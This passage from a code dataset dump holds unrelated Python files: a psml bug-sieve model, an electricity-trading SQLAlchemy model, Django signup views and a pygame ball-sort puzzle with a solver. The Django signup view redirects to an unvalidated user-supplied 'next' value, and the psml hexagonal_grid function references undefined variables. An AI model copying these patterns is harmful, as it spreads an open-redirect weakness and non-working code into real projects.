(10,10))","sub_path":"class1/Berkowitz-M02-Dataset.py","file_name":"Berkowitz-M02-Dataset.py","file_ext":"py","file_size_in_byte":16661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"414467544","text":"import sys\nsys.path.append( \"../psml\" )\n\ntry:\n from typeguard.importhook import install_import_hook\nexcept:\n print( \"missing dependency, please install typeguard:\" )\n print( \" (linux) sudo pip install typeguard\" )\n print( \" (windows) python -m pip install typeguard\" )\n exit( -1 )\n \ninstall_import_hook( 'psml' )\n\nimport psml\n\ndef square_grid( size, spacing, thickness ):\n m = None \n for x in range( spacing, size.x, spacing ):\n m += psml.vector( x, 0 ) ** psml.rectangle( thickness, size.y )\n for y in range( spacing, size.y, spacing ):\n m += psml.vector( 0, y ) ** psml.rectangle( size.x, thickness )\n return m \n \ndef hexagonal_grid( size, spacing, thickness ):\n s = 10\n psml.rectangle( x, size.y )\n return m \n \npsml.facets( 200 )\n \ndef bug_sieve(\n sieve_height = 3,\n sieve_diameter = 90,\n wall_thickness = 1,\n groove_depth = 1,\n grid_gap = 10,\n grid_thickness = 0.5\n):\n # the sieve grid \n m = square_grid( psml.vector( sieve_diameter, sieve_diameter ), grid_gap, grid_thickness )\n \n # remove what is outside the rim\n m -= psml.rectangle( psml.dup2( sieve_diameter )) - \\\n psml.dup2( sieve_diameter / 2 ) ** psml.circle( diameter = sieve_diameter - wall_thickness )\n \n # make grid 3D \n m = psml.extrude( sieve_height ) ** m \n \n # wall with groove 2D\n h = ( sieve_height - 2 * groove_depth ) / 2\n g = groove_depth\n w = wall_thickness\n wall_2d = psml.polygon( [\n psml.vector( 0, 0 ), psml.vector( w, 0 ), \n psml.vector( w, h ), psml.vector( w + g, h + g ), \n psml.vector( w + g, h + 2 * g ), psml.vector( w, h + 3 * g ), \n psml.vector( w, 2 * h + 3 * g ), psml.vector( 0, 2 * h + 3 * g ) ] )\n wall_2d += psml.negative ** psml.polygon( [\n psml.vector( 0, h + 3 * g ), psml.vector( g, h + 2 * g ), \n psml.vector( g, h + g ), psml.vector( 0, h ) ] ) \n \n # rotate wall to 3D and add to sieve\n m += psml.dup2( sieve_diameter / 2 ) ** \\\n psml.rotate_extrude() ** psml.vector( - sieve_diameter / 2, 0 ) ** wall_2d\n \n return m\n \n \n \nm = bug_sieve()\nm.write()","sub_path":"examples/example_bugsieve.py","file_name":"example_bugsieve.py","file_ext":"py","file_size_in_byte":2147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"131687966","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\r\nfrom App import db\r\nfrom sqlalchemy.dialects.postgresql import BOOLEAN,INTEGER,VARCHAR,JSONB,ARRAY\r\nfrom sqlalchemy.sql import func,text\r\nfrom sqlalchemy import Column,Table\r\nfrom App.util.security import getNewID\r\n\r\n\r\n\r\n#类\r\nclass MTRANSACTION(db.Model):\r\n #用户表名\r\n __tablename__='m_transaction'\r\n #id,主键,采用uuid\r\n id=db.Column(VARCHAR,primary_key=True)\r\n \r\n # 批次编号:日期+随机码\r\n code=db.Column(VARCHAR)\r\n # 批次名称\r\n name=db.Column(VARCHAR)\r\n # 交易状态:未开始/进行中/已结束\r\n status=db.Column(VARCHAR)\r\n # 交易开始时间\r\n begin_date=db.Column(VARCHAR)\r\n # 交易计划结束时间\r\n plan_end_date=db.Column(VARCHAR)\r\n # 交易实际结束时间\r\n end_date=db.Column(VARCHAR)\r\n # 报价方式:价差模式/顺价模式\r\n bidding_type=db.Column(VARCHAR)\r\n # 出清方式:统一出清/按报价出清\r\n clear_type=db.Column(VARCHAR)\r\n # 价格撮合方式:高价出清/低价出清/平均值出清/按比例出清\r\n p_clear_type=db.Column(VARCHAR)\r\n # 价格出清比例:当价格按比例出清时有效,0-100\r\n p_clear_ratio=db.Column(INTEGER)\r\n # 是否发布:发布后不能再修改配置\r\n ispublic=db.Column(BOOLEAN)\r\n # 交易类型:集中竞价交易/滚动撮合交易/能量块联合出清交易\r\n tran_type=db.Column(VARCHAR)\r\n # 交易时段配置:\r\n # 1.配置划分时段,按小时划分。例如4段:(00:00-4:00,4:00-8:00,8:00-18:00,18:00-24:00);\r\n # 2.配置各时段可申报电量的段数,影响申报时的界面\r\n # 3.配置各时段的总供给电量与需求电量\r\n # 4.配置各时段的申报量约束,可按总电量占比进行约束\r\n # 5.配置各时段的上网电价、输配电价、政府基金及附加、以及目录电价\r\n # 6.配置各时段的申报价格约束,包括最低与最高限价\r\n trun_interval=db.Column(JSONB)\r\n\r\n\r\n # 市场主体相关\r\n # 售电公司数量\r\n m_sale_cp_num=db.Column(INTEGER)\r\n # 电力用户数量\r\n m_ele_user_num=db.Column(INTEGER)\r\n # 发电企业数量\r\n m_pro_cp_num=db.Column(INTEGER)\r\n # 市场主体捣乱机器人\r\n # 角色:售电公司/电力用户/发电企业\r\n # 数量\r\n # 策略:激进、保守、随机\r\n m_robot=db.Column(JSONB)\r\n\r\n # 市场主体补缺机器人\r\n # 角色:售电公司/电力用户/发电企业\r\n # 数量\r\n # 策略:激进、保守、随机\r\n m_sup_robot=db.Column(JSONB)\r\n # 市场实际主体\r\n # 售电公司\r\n m_sale_cp_real=db.Column(ARRAY(VARCHAR))\r\n # 电力用户\r\n m_ele_user_real=db.Column(ARRAY(VARCHAR))\r\n # 发电企业\r\n m_pro_cp_real=db.Column(ARRAY(VARCHAR))\r\n\r\n\r\n # 交易结果\r\n m_result=db.Column(JSONB)\r\n\r\n # 平台相关\r\n # 创建人\r\n create_user=db.Column(VARCHAR)\r\n create_userid=db.Column(VARCHAR)\r\n # 创建时间\r\n create_date=db.Column(VARCHAR)\r\n #是否删除\r\n isdelete=db.Column(BOOLEAN)\r\n\r\n\r\n \r\n #将类实例数据转换为json格式\r\n #参数:用户实例\r\n def tojson(data):\r\n if type(data)==list:\r\n jsondata=[]\r\n for item in data:\r\n jsondata.append({\r\n 'id':item.id,\r\n 'code':item.code,\r\n 'name':item.name,\r\n 'status':item.status,\r\n 'begin_date':item.begin_date,\r\n 'plan_end_date':item.plan_end_date,\r\n 'end_date':item.end_date,\r\n 'bidding_type':item.bidding_type,\r\n 'clear_type':item.clear_type,\r\n 'ispublic':item.ispublic,\r\n 'tran_type':item.tran_type,\r\n 'trun_interval':item.trun_interval,\r\n 'm_sale_cp_num':item.m_sale_cp_num,\r\n 'm_ele_user_num':item.m_ele_user_num,\r\n 'm_pro_cp_num':item.m_pro_cp_num,\r\n 'm_robot':item.m_robot,\r\n 'm_sale_cp_real': [x for x in item.m_sale_cp_real],\r\n 'm_ele_user_real': [x for x in item.m_ele_user_real],\r\n 'm_pro_cp_real': [x for x in item.m_pro_cp_real],\r\n 'm_result':item.m_result,\r\n 'isdelete':item.isdelete,\r\n 'create_user':item.create_user,\r\n 'create_date':item.create_date,\r\n 'm_sup_robot':item.m_sup_robot,\r\n 'create_userid':item.create_userid,\r\n 'p_clear_type':item.p_clear_type,\r\n 'p_clear_ratio':item.p_clear_ratio\r\n\r\n })\r\n return jsondata\r\n else:\r\n return {\r\n 'id':data.id,\r\n 'code':data.code,\r\n 'name':data.name,\r\n 'status':data.status,\r\n 'begin_date':data.begin_date,\r\n 'plan_end_date':data.plan_end_date,\r\n 'end_date':data.end_date,\r\n 'bidding_type':data.bidding_type,\r\n 'clear_type':data.clear_type,\r\n 'ispublic':data.ispublic,\r\n 'tran_type':data.tran_type,\r\n 'trun_interval':data.trun_interval,\r\n 'm_sale_cp_num':data.m_sale_cp_num,\r\n 'm_ele_user_num':data.m_ele_user_num,\r\n 'm_pro_cp_num':data.m_pro_cp_num,\r\n 'm_robot':data.m_robot,\r\n 'm_sale_cp_real': [x for x in data.m_sale_cp_real],\r\n 'm_ele_user_real': [x for x in data.m_ele_user_real],\r\n 'm_pro_cp_real': [x for x in data.m_pro_cp_real],\r\n 'm_result':data.m_result,\r\n 'isdelete':data.isdelete,\r\n 'create_user':data.create_user,\r\n 'create_date':data.create_date,\r\n 'm_sup_robot':data.m_sup_robot,\r\n 'create_userid':data.create_userid,\r\n 'p_clear_type':data.p_clear_type,\r\n 'p_clear_ratio':data.p_clear_ratio\r\n }\r\n\r\n\r\n\r\n# from flask import json \r\ndef listdata():\r\n db.create_all()\r\n\r\n \r\n\r\n\r\n","sub_path":"unsafe/App/model/m_transaction.py","file_name":"m_transaction.py","file_ext":"py","file_size_in_byte":6252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"493658485","text":"from django.contrib.auth import get_user_model\nfrom django.contrib.auth.tokens import default_token_generator\n\ntry:\n from django.contrib.sites.models import get_current_site\nexcept ImportError:\n from django.contrib.sites.shortcuts import get_current_site\nfrom django.template import Context, loader\nfrom django import forms\nfrom django.utils.translation import gettext_lazy as _\nfrom django.contrib.auth import authenticate, login\n\nfrom django.contrib.auth.models import User\nfrom django.shortcuts import render, get_object_or_404\nfrom django.http import HttpResponseRedirect, HttpResponse, Http404\nfrom accounts.forms import UserCreationForm\nfrom django.contrib.auth.tokens import default_token_generator\nfrom django.urls import reverse\nfrom django.template import RequestContext\nfrom django.conf import settings\nfrom django.utils.http import base36_to_int, int_to_base36\nfrom urllib.parse import quote\nfrom django.contrib.sites.models import Site\n\n# from django.views.decorators.csrf import csrf_protect\n\nUser = get_user_model()\n\n\n# @csrf_protect\ndef signup(\n request,\n template_name=\"accounts/signup.html\",\n email_template_name=\"accounts/signup_email.html\",\n signup_form=UserCreationForm,\n token_generator=default_token_generator,\n post_signup_redirect=None,\n redirect_field_name=\"next\",\n):\n redirect_to = request.POST.get(\n redirect_field_name, request.GET.get(redirect_field_name, \"\")\n )\n if post_signup_redirect is None:\n post_signup_redirect = reverse(\"signup_done\")\n if request.method == \"POST\":\n form = signup_form(request.POST)\n if form.is_valid():\n opts = {}\n # options to facilitate confirmation emailing by signup form in forms.py\n # opts['use_https'] = request.is_secure()\n # opts['token_generator'] = token_generator\n # opts['email_template_name'] = email_template_name\n # if not Site._meta.installed:\n # opts['domain_override'] = RequestSite(request).domain\n newuser = form.save(**opts)\n # user = form.get_user()\n username = form.cleaned_data[\"username\"]\n password = form.cleaned_data[\"password1\"]\n\n user = authenticate(username=username, password=password)\n if user is not None:\n if user.is_active:\n login(request, user)\n if not redirect_to:\n if post_signup_redirect is None:\n post_signup_redirect = reverse(\"signup_done\")\n else:\n redirect_to = post_signup_redirect\n return HttpResponseRedirect(redirect_to)\n else:\n form = signup_form()\n return render(\n request,\n template_name,\n {\n \"form\": form,\n redirect_field_name: redirect_to,\n },\n )\n\n\ndef signup_done(request, template_name=\"accounts/signup_done.html\"):\n return render(request, template_name)\n\n\ndef signup_confirm(\n request,\n uidb36=None,\n token=None,\n token_generator=default_token_generator,\n post_signup_redirect=None,\n):\n assert uidb36 is not None and token is not None # checked par url\n if post_signup_redirect is None:\n post_signup_redirect = reverse(\"signup_complete\")\n try:\n uid_int = base36_to_int(uidb36)\n except ValueError:\n raise Http404\n\n user = get_object_or_404(User, id=uid_int)\n context_instance = RequestContext(request)\n\n if token_generator.check_token(user, token):\n context_instance[\"validlink\"] = True\n user.is_active = True\n user.save()\n else:\n context_instance[\"validlink\"] = False\n return HttpResponseRedirect(post_signup_redirect)\n\n\ndef signup_complete(request, template_name=\"accounts/signup_complete.html\"):\n return render(request, template_name, {\"login_url\": settings.LOGIN_URL})\n","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"459573435","text":"import functools\nimport json\nimport pygame\nimport time\nimport random\nimport copy\n\nfrom game.endscreen import EndScreen\nfrom game.menus import Menu, SettingsMenu, GameMenu\nfrom game.musicplayer import MusicPlayer\nfrom game.score import Score\nfrom game.timer import Timer\nfrom game.utils import load_sprite, text_to_sprite\n\nfrom solver import Algorithm, solver, ids\nfrom graph import Graph, Node, Tube, Game\nfrom threading import Thread\n\n\n# level box size: width-200 height-100\n\n\ndef timeout(timeout):\n def deco(func):\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n res = [Exception('function [%s] timeout [%s seconds] exceeded!' % (func.__name__, timeout))]\n\n def newFunc():\n try:\n res[0] = func(*args, **kwargs)\n except Exception as e:\n res[0] = e\n\n t = Thread(target=newFunc)\n t.daemon = True\n try:\n t.start()\n t.join(timeout)\n except Exception as je:\n print('error starting thread')\n raise je\n ret = res[0]\n if isinstance(ret, BaseException):\n raise ret\n return ret\n\n return wrapper\n\n return deco\n\n\n# Global Variables\n\nmouse_timeout = 0.15\n\n# Screen Dimensions\nscreen_width = 1400\nscreen_height = 1000\n\n# Dictionaries\nwith open('levels.json') as f:\n levels = json.load(f)\n\nfor level in levels:\n tubes = levels[level]['tubes']\n new_tubes = []\n for tube in tubes:\n new_tubes.append(Tube(tube))\n levels[level] = new_tubes\n\nball_dict = {\n 1: \"blueBall.png\",\n 2: \"pinkBall.png\",\n 3: \"darkGreenBall.png\",\n 4: \"orangeBall.png\",\n 5: \"redBall.png\",\n 6: \"purpleBall.png\",\n 7: \"darkRedBall.png\",\n 8: \"yellowBall.png\",\n 9: \"darkPurpleBall.png\",\n 10: \"lightBlueBall.png\",\n 11: \"greenBall.png\",\n 12: \"darkBlueBall.png\"\n}\n\n\n# Flask Class\n\nclass Flask:\n def __init__(self, tube, coords):\n self.tube = tube\n self.coords = coords\n self.balls = pygame.sprite.Group()\n self.create_flask()\n self.load_balls()\n self.selected = False\n self.completed = False\n\n def create_flask(self):\n self.load_default_flask()\n self.load_selected_flask()\n self.load_completed_flask()\n\n # Load functions\n def load_default_flask(self):\n flask = load_sprite(\"assets/img/flasks/flask-white.png\")\n flask.rect.left = self.coords[0]\n flask.rect.top = self.coords[1]\n self.flask = pygame.sprite.GroupSingle(flask)\n\n def load_selected_flask(self):\n selected = load_sprite(\"assets/img/flasks/flask-4-selected.png\")\n selected.rect.left = self.coords[0]\n selected.rect.top = self.coords[1]\n self.flask_sel = pygame.sprite.GroupSingle(selected)\n\n def load_completed_flask(self):\n completed = load_sprite(\"assets/img/flasks/flask-4-completed.png\")\n completed.rect.left = self.coords[0]\n completed.rect.top = self.coords[1]\n self.flask_comp = pygame.sprite.GroupSingle(completed)\n\n def load_balls(self):\n x = self.coords[0] + 12\n y = self.coords[1] + 290\n for num in self.tube.get_balls():\n y -= 73\n self.load_ball(num, [x, y])\n\n def load_ball(self, num, coords):\n ball_file = ball_dict.get(num)\n ball = load_sprite(\"assets/img/balls/\" + ball_file)\n ball.rect.left = coords[0]\n ball.rect.top = coords[1]\n self.balls.add(ball)\n\n # Draw functions\n def draw(self, screen):\n self.balls.draw(screen)\n if self.selected:\n self.flask_sel.draw(screen)\n elif self.completed:\n self.flask_comp.draw(screen)\n else:\n self.flask.draw(screen)\n\n # Game functions\n def remove_ball(self):\n sprites = self.balls.sprites()\n ball = sprites[-1]\n pygame.sprite.Group.remove(self.balls, ball)\n self.completed = False\n return ball\n\n def add_ball(self, ball):\n ball.rect.left = self.coords[0] + 12\n ball.rect.top = self.coords[1] + 290 - 73 * (len(self.balls) + 1)\n self.balls.add(ball)\n if self.tube.is_completed():\n self.completed = True\n return 1\n return 0\n\n def select(self):\n self.selected = not self.selected\n if len(self.balls) > 0:\n if self.selected:\n ball = self.balls.sprites()[-1]\n ball.rect.top = self.coords[1] - 100\n if not self.selected:\n ball = self.balls.sprites()[-1]\n ball.rect.top = self.coords[1] + 290 - 73 * len(self.balls)\n\n def check_mouse_col(self, mouse_pos):\n return self.flask.sprite.rect.collidepoint(mouse_pos)\n\n def check_done(self):\n return self.tube.is_completed() or self.tube.is_empty()\n\n\n# UI Class\n\nclass UI:\n def __init__(self):\n self.state = \"MAINMENU\"\n self.algorithm = 0\n self.hint_available = True\n self.auto_solving = False\n self.paused = False\n self.auto_speed = 0\n self.init_screen()\n self.load_other()\n self.build_menu()\n self.build_main_menu()\n self.build_setting_menu()\n self.build_music_player()\n self.build_end_screen()\n self.timer = Timer(mouse_timeout)\n self.active = True\n\n # Init functions\n def init_screen(self):\n self.screen = pygame.display.set_mode((screen_width, screen_height))\n\n def build_menu(self):\n self.menu = GameMenu(levels)\n\n def build_music_player(self):\n self.dj = MusicPlayer()\n\n def build_main_menu(self):\n self.main_menu = Menu()\n\n def build_setting_menu(self):\n self.settings = SettingsMenu()\n\n def build_end_screen(self):\n self.end_screen = EndScreen()\n\n # Load functions\n def load_bg(self):\n self.bg = pygame.image.load('assets/img/lab.jpg')\n\n def load_level(self, num):\n if hasattr(self, 'curGame'):\n del self.cur_game\n level = copy.deepcopy(levels[str(num)])\n self.cur_game = Game(level)\n self.create_game()\n\n def load_tubes(self, num):\n self.flasks = pygame.sprite.Group()\n\n def load_other(self):\n self.load_bg()\n self.load_quit()\n self.load_undo()\n self.load_move_count()\n self.load_undo_count()\n self.load_hint()\n self.load_auto_solve()\n\n def load_auto_solve(self):\n self.load_speed()\n self.load_pause()\n self.load_algorithm_fail()\n\n def load_speed(self):\n\n speed_holder = pygame.image.load(\"assets/img/holders/speedHolder.png\")\n value_holder = pygame.image.load(\"assets/img/holders/prevNext.png\")\n\n font = pygame.font.SysFont(\"Arial\", 45)\n font2 = pygame.font.SysFont(\"Arial\", 40)\n speed = text_to_sprite(\"Speed\", speed_holder, (230, 230, 230), [1075, 125], font)\n point_five = text_to_sprite(\"x0.5\", value_holder, (230, 230, 230), [1250, 137.5], font2)\n normal = text_to_sprite(\"x1\", value_holder, (230, 230, 230), [1250, 137.5], font2)\n x2 = text_to_sprite(\"x2\", value_holder, (230, 230, 230), [1250, 137.5], font2)\n x4 = text_to_sprite(\"x4\", value_holder, (230, 230, 230), [1250, 137.5], font2)\n x8 = text_to_sprite(\"x8\", value_holder, (230, 230, 230), [1250, 137.5], font2)\n\n self.speed_holder = pygame.sprite.GroupSingle(speed)\n self.speeds = []\n self.speeds.append(pygame.sprite.GroupSingle(normal))\n self.speeds.append(pygame.sprite.GroupSingle(x2))\n self.speeds.append(pygame.sprite.GroupSingle(x4))\n self.speeds.append(pygame.sprite.GroupSingle(x8))\n self.speeds.append(pygame.sprite.GroupSingle(point_five))\n\n def load_pause(self):\n\n holder = pygame.image.load(\"assets/img/holders/speedHolder.png\")\n font = pygame.font.SysFont(\"Arial\", 40)\n pause = text_to_sprite(\"Pause\", holder, (230, 230, 230), [1075, 225], font)\n resume = text_to_sprite(\"Resume\", holder, (230, 230, 230), [1075, 225], font)\n self.pauseButton = pygame.sprite.GroupSingle(pause)\n self.resumeButton = pygame.sprite.GroupSingle(resume)\n\n def load_undo(self):\n undo_img = load_sprite(\"assets/img/buttons/undo.png\")\n undo_img.rect.left = 1250\n undo_img.rect.top = 200\n self.undoB = pygame.sprite.GroupSingle(undo_img)\n\n def load_quit(self):\n quit_img = load_sprite(\"assets/img/buttons/menu.png\")\n quit_img.rect.left = 20\n quit_img.rect.top = 20\n self.quit = pygame.sprite.GroupSingle(quit_img)\n\n def load_move_count(self):\n move_holder = load_sprite(\"assets/img/holders/numberBox.png\")\n move_holder.rect.left, move_holder.rect.top = [1250, 50]\n self.moveHolder = pygame.sprite.GroupSingle(move_holder)\n move_count = load_sprite(\"assets/img/holders/moveCount.png\")\n move_count.rect.left, move_count.rect.top = [1000, 45]\n self.moveCount = pygame.sprite.GroupSingle(move_count)\n\n def load_undo_count(self):\n undo_holder = load_sprite(\"assets/img/holders/numberBox.png\")\n undo_holder.rect.left, undo_holder.rect.top = [1250, 120]\n self.undoHolder = pygame.sprite.GroupSingle(undo_holder)\n undo_count = load_sprite(\"assets/img/holders/undoCount.png\")\n undo_count.rect.left, undo_count.rect.top = [1000, 115]\n self.undoCount = pygame.sprite.GroupSingle(undo_count)\n\n def load_hint(self):\n hint_up = load_sprite(\"assets/img/arrow_up.png\")\n self.hint_up = pygame.sprite.GroupSingle(hint_up)\n hint_down = load_sprite(\"assets/img/arrow_down.png\")\n self.hint_down = pygame.sprite.GroupSingle(hint_down)\n\n hint_b = load_sprite(\"assets/img/buttons/hint.png\")\n hint_b.rect.left, hint_b.rect.top = [1250, 280]\n self.hint_b = pygame.sprite.GroupSingle(hint_b)\n\n hint_no = load_sprite(\"assets/img/buttons/no-hint.png\")\n hint_no.rect.left, hint_no.rect.top = [1250, 280]\n self.hint_no = pygame.sprite.GroupSingle(hint_no)\n\n def load_algorithm_fail(self):\n self.solver_failed = False\n holder = pygame.image.load(\"assets/img/holders/failHolder.png\")\n font = pygame.font.SysFont(\"Arial\", 40)\n alg_fail = text_to_sprite(\"Algorithm couldn't reach a solution in due time\", holder, (230, 230, 230),\n [300, 400],\n font)\n\n self.alg_fail = pygame.sprite.GroupSingle(alg_fail)\n\n ## Draw functions\n\n def draw_screen(self):\n self.screen.blit(self.bg, (0, 0))\n\n def draw_main_menu(self):\n self.main_menu.draw(self.screen)\n\n def draw_game_menu(self):\n self.menu.draw(self.screen)\n\n def draw_settings_menu(self):\n self.settings.draw(self.screen)\n\n def draw_quit(self):\n self.quit.draw(self.screen)\n\n def draw_undo(self):\n self.undoB.draw(self.screen)\n\n def draw_flasks(self):\n for flask in self.tubes:\n flask.draw(self.screen)\n\n def draw_hint(self):\n if self.hint_available:\n self.hint_b.draw(self.screen)\n else:\n self.hint_no.draw(self.screen)\n\n def draw_solved_hint(self):\n if self.display_hint:\n self.hint_up.draw(self.screen)\n self.hint_down.draw(self.screen)\n\n def drawMoveCount(self):\n self.moveCount.draw(self.screen)\n self.moveHolder.draw(self.screen)\n self.move_num.draw(self.screen)\n\n def drawUndoCount(self):\n self.undoCount.draw(self.screen)\n self.undoHolder.draw(self.screen)\n self.undo_num.draw(self.screen)\n\n def drawRun(self):\n if self.auto_solving:\n self.draw_watch()\n else:\n self.draw_play()\n\n def draw_watch(self):\n self.draw_solved_hint()\n self.draw_flasks()\n self.draw_quit()\n self.drawMoveCount()\n self.draw_speed()\n self.draw_pause()\n if self.solver_failed:\n self.alg_fail.draw(self.screen)\n\n def draw_play(self):\n self.draw_hint()\n self.draw_solved_hint()\n self.draw_flasks()\n self.draw_quit()\n self.draw_undo()\n self.drawMoveCount()\n self.drawUndoCount()\n\n def draw_pause(self):\n if self.paused:\n self.resumeButton.draw(self.screen)\n else:\n self.pauseButton.draw(self.screen)\n\n def draw_end(self):\n if self.auto_solving:\n self.end_screen.draw_solved(self.screen, self.move_num.score)\n else:\n self.end_screen.draw(self.screen, self.move_num.score, self.undo_num.score)\n\n def draw_speed(self):\n self.speed_holder.draw(self.screen)\n self.speeds[self.auto_speed].draw(self.screen)\n\n # Collision functions\n\n def check_flasks_cols(self, mouse_pos):\n i = 0\n for tube in self.tubes:\n if tube.check_mouse_col(mouse_pos):\n return i\n i += 1\n return -1\n\n def check_quit(self, mouse_pos):\n return self.quit.sprite.rect.collidepoint(mouse_pos)\n\n def check_undo(self, mouse_pos):\n return self.undoB.sprite.rect.collidepoint(mouse_pos)\n\n def check_hint(self, mouse_pos):\n return self.hint_b.sprite.rect.collidepoint(mouse_pos)\n\n def check_run_cols(self, mouse_pos):\n select = self.check_flasks_cols(mouse_pos)\n if select > -1:\n self.make_move(select)\n if self.check_completed():\n self.end_game()\n elif self.check_undo(mouse_pos):\n self.undo()\n elif self.check_quit(mouse_pos):\n self.return_to_menu()\n elif self.check_hint(mouse_pos):\n '''solver_thread = Thread(target=self.update_hint)\n solver_thread.start()'''\n self.update_hint()\n self.display_hint = True\n self.dj.click_hint()\n\n def check_solve_cols(self, mouse_pos):\n if self.check_quit(mouse_pos):\n self.return_to_menu()\n self.check_speed(mouse_pos)\n self.check_pause(mouse_pos)\n\n def check_speed(self, mouse_pos):\n if self.solver_failed:\n return\n if self.speeds[self.auto_speed].sprite.rect.collidepoint(mouse_pos):\n self.auto_speed += 1\n if self.auto_speed > 4:\n self.auto_speed = 0\n self.solve_timer.update_timer(1.5)\n elif self.auto_speed == 1:\n self.solve_timer.update_timer(0.75)\n elif self.auto_speed == 2:\n self.solve_timer.update_timer(0.375)\n elif self.auto_speed == 3:\n self.solve_timer.update_timer(0.19)\n elif self.auto_speed == 4:\n self.solve_timer.update_timer(3)\n\n def check_pause(self, mouse_pos):\n if self.solver_failed:\n return\n\n if self.paused:\n if self.resumeButton.sprite.rect.collidepoint(mouse_pos):\n self.paused = False\n self.solve_timer.start_timer()\n else:\n if self.pauseButton.sprite.rect.collidepoint(mouse_pos):\n self.paused = True\n\n def check_back_to_menu(self, mouse_pos):\n\n if self.end_screen.check_back_col(mouse_pos):\n self.return_to_menu()\n\n # Checking functions\n def check_completed(self):\n for tube in self.tubes:\n if not tube.check_done():\n return False\n return True\n\n def check_mouse_timeout(self, mouse):\n if (mouse):\n if (self.timer.check_timer()):\n self.timer.start_timer()\n return True\n return False\n\n # Run functions\n\n def run(self):\n self.draw_screen()\n if self.state == \"MAINMENU\":\n self.run_main_menu()\n elif self.state == \"SETTINGS\":\n self.run_settings_menu()\n elif self.state == \"GAMEMENU\":\n self.run_game_menu()\n elif self.state == \"RUNNING\":\n self.run_level()\n elif self.state == \"END\":\n self.run_end()\n\n def run_main_menu(self):\n self.draw_main_menu()\n mouse = pygame.mouse.get_pressed()[0]\n if self.check_mouse_timeout(mouse):\n select = self.main_menu.check_menu_cols()\n if select == 0:\n self.active = False\n\n elif select == 1:\n self.auto_solving = False\n self.level_selection()\n elif select == 2:\n self.auto_solving = True\n self.level_selection()\n elif select == 3:\n self.settings_menu()\n\n def run_game_menu(self):\n self.draw_game_menu()\n mouse = pygame.mouse.get_pressed()[0]\n if self.check_mouse_timeout(mouse):\n select = self.menu.check_menu_cols()\n if select == 0:\n self.return_to_main_menu()\n elif select > 0:\n self.start_game(select)\n elif select == -2:\n self.dj.clicked_button()\n\n def run_settings_menu(self):\n self.draw_settings_menu()\n mouse = pygame.mouse.get_pressed()[0]\n if self.check_mouse_timeout(mouse):\n select = self.settings.check_menu_cols()\n if select == 0:\n self.return_to_main_menu()\n elif select == 1:\n self.dj.switch_sfx()\n elif select == 2:\n self.dj.switch_music()\n elif select > 2:\n self.algorithm = select - 3\n\n def run_level(self):\n self.drawRun()\n\n mouse = pygame.mouse.get_pressed()[0]\n if self.check_mouse_timeout(mouse):\n mouse_pos = pygame.mouse.get_pos()\n if self.auto_solving:\n self.check_solve_cols(mouse_pos)\n else:\n self.check_run_cols(mouse_pos)\n if self.auto_solving and not self.solver_failed:\n if self.solve_timer.check_timer() and not self.paused:\n self.play_solved()\n\n def run_end(self):\n self.draw_end()\n mouse = pygame.mouse.get_pressed()[0]\n if self.check_mouse_timeout(mouse):\n mouse_pos = pygame.mouse.get_pos()\n self.check_back_to_menu(mouse_pos)\n\n # Level functions\n\n def create_game(self):\n if hasattr(self, 'tubes'):\n del self.tubes\n self.tubes = []\n x = 50\n y = 650\n\n for tube in self.cur_game.tubes:\n flask = Flask(tube, [x, y])\n self.tubes.append(flask)\n x += 112\n\n def start_game(self, level):\n if self.auto_solving:\n self.start_watch(level)\n else:\n self.start_normal(level)\n\n def start_watch(self, level):\n self.dj.enter_level()\n self.load_level(level)\n self.state = \"RUNNING\"\n self.moves = 0\n self.auto_speed = 0\n self.solver_failed = False\n self.move_num = Score([1256, 45])\n self.display_hint = False\n self.startSolved()\n if not self.solver_failed:\n self.solve_timer = Timer(1.5)\n self.display_hint = True\n\n def start_normal(self, level):\n self.display_hint = False\n self.dj.enter_level()\n self.load_level(level)\n self.state = \"RUNNING\"\n self.moves = 0\n self.selected = -1\n '''\n solver_thread = Thread(target=self.update_hint)\n solver_thread.start()\n '''\n self.saved_moves = []\n self.move_num = Score([1256, 45])\n self.undo_num = Score([1256, 115])\n\n def return_to_main_menu(self):\n self.state = \"MAINMENU\"\n\n def level_selection(self):\n self.state = \"GAMEMENU\"\n\n def return_to_menu(self):\n self.dj.in_menu()\n self.state = \"GAMEMENU\"\n self.selected = -1\n\n def settings_menu(self):\n self.state = \"SETTINGS\"\n\n def end_game(self):\n self.state = \"END\"\n self.selected = -1\n\n # Game functions\n\n def make_move(self, tube):\n if tube == self.selected:\n self.deselect()\n elif self.selected >= 0:\n if self.cur_game.move_ball(self.selected, tube):\n self.successful_move(tube)\n else:\n self.select(tube)\n\n def successful_move(self, tube):\n self.move_num.increase_score()\n ball = self.tubes[self.selected].remove_ball()\n if self.tubes[tube].add_ball(ball):\n self.dj.complete_tube()\n self.saved_moves.append([self.selected, tube])\n '''\n solver_thread = Thread(target=self.update_hint)\n solver_thread.start()\n '''\n self.deselect()\n self.display_hint = False\n\n def undo(self):\n if self.saved_moves:\n self.undo_num.increase_score()\n self.move_num.decrease_score()\n last_move = self.saved_moves.pop()\n self.undo_move(last_move)\n\n def undo_move(self, move):\n self.cur_game.move_ball(move[1], move[0])\n\n ball = self.tubes[move[1]].remove_ball()\n self.tubes[move[0]].add_ball(ball)\n '''\n solver_thread = Thread(target=self.update_hint)\n solver_thread.start()\n '''\n\n @timeout(20)\n def get_result(self, init_state):\n\n if self.algorithm == 0:\n return solver(init_state, Algorithm.A_STAR, 30)\n elif self.algorithm == 1:\n return solver(init_state, Algorithm.GREEDY, 30)\n elif self.algorithm == 2:\n return solver(init_state, Algorithm.DFS, 60)\n elif self.algorithm == 3:\n return solver(init_state, Algorithm.BFS, 15)\n elif self.algorithm == 4:\n return ids(init_state, 60)\n\n def startSolved(self):\n init_state = Node(self.cur_game)\n try:\n result = self.get_result(init_state)\n if result[1] is None:\n self.solver_failed = True\n self.display_hint = False\n self.hide_hint_arrows()\n return\n self.display_hint = True\n self.solvedPath = result[0].path(result[1])\n self.curNode = 0\n except:\n self.solver_failed = True\n self.display_hint = False\n self.hide_hint_arrows()\n\n def 